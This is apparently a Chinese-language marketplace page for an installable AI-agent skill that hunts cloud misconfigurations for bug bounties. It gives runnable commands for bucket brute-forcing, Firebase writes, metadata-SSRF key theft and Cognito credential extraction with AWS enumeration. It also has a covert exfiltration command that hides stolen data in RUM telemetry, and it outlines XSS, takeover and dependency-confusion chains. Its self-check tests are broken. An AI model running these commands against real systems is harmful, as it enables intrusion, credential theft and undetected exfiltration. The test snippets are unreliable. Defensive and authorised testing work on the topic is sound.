mcpField
H
hunt-cloud-misconfig

hunt-cloud-misconfig

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 hunt-cloud-misconfig

面向云安全测试人员的云与基础设施错误配置排查技能,涵盖存储、元数据端点、管理面板及 CloudWatch RUM。强调本地验证、影响证明和报告前的误报筛查。

主要功能

  1. 01探测 S3、GCS 和 Azure Blob 暴露
  2. 02识别 EC2 元数据与管理面板
  3. 03分析 CloudWatch RUM 配置与攻击链
  4. 04使用 LocalStack 验证云端发现
  5. 05依据影响证据验证并分级问题

适用场景

  1. 01排查公开存储桶中的敏感数据
  2. 02验证 RUM 身份池是否授予过宽权限
  3. 03在本地 AWS 模拟环境复现配置问题

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-cloud-misconfig

安装后在 Claude Code 中输入/hunt-cloud-misconfig确认已加载。

详细介绍

HUNT-CLOUD-MISCONFIG — 云 / 基础设施错误配置

核心目标

S3 / GCS / Azure Blob
# S3 listing
curl --max-time 30 --connect-timeout 10 -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
  curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl --max-time 30 --connect-timeout 10 -s "https://TARGET-APP.firebaseio.com/.json"   # read
curl --max-time 30 --connect-timeout 10 -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'  # write
EC2 元数据(通过 SSRF)
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/  # role name
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys
暴露的管理面板
/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html
/phpMyAdmin  /.env  /config.json  /api-docs  /server-status

本地验证工具链

在本地 AWS 模拟器中测试云错误配置发现结果,而不是连接真实云环境:

# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0

# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1

如果未设置这些环境变量,aws s3 cp/sync 会因 InvalidRequest 而失败。请将此情况告知团队。完整的可复现流程请参阅 docs/verification/phase2j-cloud-localstack.md。


CloudWatch RUM 武器化(2024-2026 攻击面)

AWS CloudWatch RUM(真实用户监控)是一项客户端遥测服务,于 2021 年末推出。客户会在自己的页面中嵌入一段 JS 代码,用于将性能 / 错误事件发送到 dataplane.rum.<region>.amazonaws.com。代码片段中的 AppMonitor 配置包含一个 identityPoolId(Cognito)和一个 guestRoleArn(IAM 角色)——两者本来就是公开的。IAM 角色策略是安全边界;如果开发人员将其权限范围设置得超出文档规定的最低要求(对 AppMonitor ARN 授予 rum:PutRumEvents),整个身份池就会变成 cloud-iam-deep → Cognito Identity Pool 链中所述的未认证 AWS 凭证发放器。

检测 — JS 包指纹

代码片段样式(最常见,嵌入 <head> 中):

(function(n,i,v,r,s,c,x,z){...})(
  'cwr',
  '00000000-0000-0000-0000-000000000000',                       // applicationId (UUID)
  '1.0.0',
  'us-east-1',
  'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
  {
    sessionSampleRate: 1,
    guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
    identityPoolId: "us-east-1:abcd1234-...",
    endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
    telemetries: ["errors","performance","http"]
  }
);

NPM 样式(aws-rum-web 包):

import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
用于侦察的正则表达式集
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .

# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .

# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .

# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .

# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
攻击链

攻击链 A — 提取凭证(guestRole 权限过大时为严重风险)。 从页面提取 identityPoolId 后,任何人都可以运行:

aws cognito-identity get-id \
  --identity-pool-id "us-east-1:abcd1234-..." \
  --region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:<returned-uuid>" \
  --region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity        # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py

完整攻击链见 cloud-iam-deep → Cognito Identity Pool 未认证链。RUM 是一种常见的嵌入场景。

攻击链 B — 通过遥测端点隐蔽窃取数据。 dataplane.rum.<region>.amazonaws.com 是所有企业允许列表中都包含的 AWS 所有域名。PutRumEvents 负载接受任意的 userDetails 和 customEvents 字符串字段:

aws rum put-rum-events \
  --id $(uuidgen) \
  --app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
  --user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
  --rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
  --endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
  --region us-east-1

防御人员监控出口流量时会看到请求发往已知的可信 AWS 主机名;DLP 不会解析 JSON 请求体;SIEM 规则通常不会采集客户的 RUM 遥测数据。

攻击链 C — 通过代码片段来源投毒进行 DOM 注入。 许多客户会自行在 CDN 上托管 cwr.js(assets.target.com/cwr.js),或将 aws-rum-web 打包后从 static.target.com/main.<hash>.js 提供。对 JS 主机进行子域名接管,或供应链遭到入侵(针对 aws-rum-webb 的 npm 拼写仿冒),都能在每次页面加载时持续执行 JS,并获得 aws-rum-web SDK 的信任——包括其已获授权的 Cognito 权限。

攻击链 D — 遥测注入 / 仪表板投毒。 拥有公开的 identityPoolId 和 applicationId 后,外部攻击者可以用虚假的错误峰值淹没 PutRumEvents(掩盖真实警报)、向页面 URL 遥测数据中注入 XSS 负载(在 SOC 分析人员查看 CloudWatch 仪表板时触发),并增加可计费的 RUM 事件数量(造成经济型 DoS)。

严重性分级
发现严重性依据
guestRoleArn 使用 *:*,或在多个服务上使用通配符严重(9.1+)匿名用户拥有完整 AWS 访问权限
guestRoleArn 在生产资源上使用 s3:*、dynamodb:*、secretsmanager:*、lambda:Invoke*高(7.5-8.8)可能导致数据泄露或远程代码执行,具体取决于资源
guestRoleArn 仅使用 cognito-identity:* 或 iam:PassRole高(8.0)可用于权限提升
guestRoleArn 仅使用 rum:PutRumEvents,且资源限定到端点信息性文档所述的预期配置
RUM userDetails 将个人身份信息记录到可在 CloudWatch 控制台查看的事件中中(5.3-6.5)通过共享控制面板暴露敏感数据
RUM AppMonitor 接受来自任意互联网来源的 PutRumEvents(遥测注入)低至中(4.3)污染控制面板、规避告警、造成账单拒绝服务
在可被接管的子域上自托管 cwr.js链接攻击时为 严重(9.8)可在每个客户页面上持续进行存储型 XSS 攻击
已披露案例/权威分析文章

截至 2026-05,AWS RUM 尚无专属 CVE。相关攻击类型已有研究记录,但公开披露的 RUM 漏洞赏金案例较少。常见模式是“通过嵌入式 SDK 过度授权 Cognito 身份池”——RUM 是常见的嵌入场景之一。

  • Andres Riancho——《Misconfigured Cognito Identity Pools》(2020/2023)——确立了此类攻击。 andresriancho.com
  • Rhino Security Labs——Pacu cognito__enum_identity_pools——可自动执行攻击链 A 的生产级工具。 github.com/RhinoSecurityLabs/pacu
  • NotSoSecure / Claranet——《Exploiting weak configurations in Amazon Cognito》(2023 年 11 月)——明确指出,RUM 是常见的三个会泄露池 ID 的 SDK 之一。 notsosecure.com
  • HackTricks Cloud——aws-cognito-unauthenticated-enum——权威操作指南。 cloud.hacktricks.wiki
  • Datadog Security Labs——《Following AWS Logs Backwards: Cognito Identity Pool Abuse》(2024)——提供了现实世界滥用情况的遥测数据。 securitylabs.datadoghq.com
  • aws-observability/aws-rum-web GitHub issues #213、#404——社区对捆绑代码片段安全模型的讨论。 github.com/aws-observability/aws-rum-web
验证清单(报告前)
  1. 从页面源代码中提取 identityPoolId。
  2. 确认身份池允许未认证身份(无需认证即可成功执行 get-id)。
  3. 确认 get-credentials-for-identity 会返回 STS 凭证。
  4. 运行 aws sts get-caller-identity,并截取角色 ARN 的屏幕截图。
  5. 运行 enumerate-iam/Pacu iam__enum_permissions——捕获至少一个除 rum:PutRumEvents 之外的允许操作。否则,该发现仅为信息性。
  6. 演示至少一种针对真实资源的读取/列表操作(列出 S3 存储桶、扫描 DynamoDB、调用 Lambda)。
  7. 即使有权限,也不要修改或删除数据——仅进行只读概念验证。

验证

  1. S3 存储桶探测——确认 AWS CLI 或 curl 的存储桶语法:
    echo "https://bucket-name.s3.amazonaws.com/" | grep -q "s3.amazonaws.com" && echo "PASS" || echo "FAIL"
    
  2. Firebase RTDB 探测——确认 Firebase URL 语法:
    echo "https://project-id.firebaseio.com/.json" | grep -q "firebaseio.com" && echo "PASS" || echo "FAIL"
    
  3. 云元数据端点——确认元数据 IP 识别:
    echo "192.0.2.1" | grep -q "169.254" && echo "PASS: metadata IP recognized" || echo "FAIL"
    

全部 3 项测试均用于验证云配置错误探测。


陷阱

  • S3 存储桶可列出但无读取权限 — 找到可列出的存储桶属于侦察,而不是漏洞。需要证明可以读取包含敏感内容的对象。
  • Firebase 可公开读取但不含敏感数据 — 开放的 Firebase RTDB 如果只包含公开的应用配置,则仅属于信息性问题。需要包含个人身份信息、凭据或内部数据。
  • GCP/Azure 存储不涉及凭据影响 — 包含静态资源的公开 Blob 存储不构成漏洞。需要包含机密、源代码或客户数据。
  • 可从外部访问云元数据端点 — SSRF 到 192.0.2.1 只能从云内部利用。从外部访问元数据属于另一种(且更严重的)问题。
  • 存储桶 ACL 配置错误与策略配置错误 — 存储桶策略和 ACL 是不同的机制。得出存储桶公开的结论前,两者都要测试。
  • CloudFront/Cloudflare CDN 源站泄露 — 绕过 CDN 访问源站属于侦察,除非你能证明存在差异(调试端点、无需认证即可访问)。
  • 不受限制的云函数触发器 — 可公开调用的函数可能是有意设计的。需要证明该函数会执行敏感操作(访问数据、修改资源)。

相关技能与攻击链

  • hunt-subdomain — 指向已删除存储桶的过期 CNAME 是接管目标的宝库。攻击链原语:云配置错误(S3 公开/已删除)+ hunt-subdomain → 未被认领的 CNAME 指向存储桶 → 接管 assets.target.com。
  • cloud-iam-deep — 在公开存储桶中泄露 SA JSON / AWS 密钥只是漏洞的一半。攻击链原语:公开的 S3 + .env 中泄露的 AWS 密钥 → 使用 cloud-iam-deep 枚举 → 跨服务 iam:PassRole 权限提升。
  • hunt-ssrf — 元数据服务只能从 VPC 内部访问;SSRF 是桥梁。攻击链原语:SSRF + 云配置错误(仍启用 IMDSv1)→ 实例角色密钥 → 读取 S3/RDS 数据。
  • supply-chain-attack-recon — 暴露的 CI/CD 端点和 SBOM 会泄露内部软件包名称。攻击链原语:暴露的 Jenkins/GitLab + 内部软件包名称泄露 → 发布 npm/PyPI 依赖混淆软件包 → CI 构建被攻陷。
  • security-arsenal — 加载 Cloud Bucket Wordlist(target-prod / target-backup / target-staging 的排列组合)和 Admin-Panel Path List,以便快速枚举。
  • triage-validation — 应用 Unique-Marker gate:任何“可写存储桶”的说法,都要求先写入唯一标记文件,并在干净会话中读回,然后再提交报告。

评论

支持 Markdown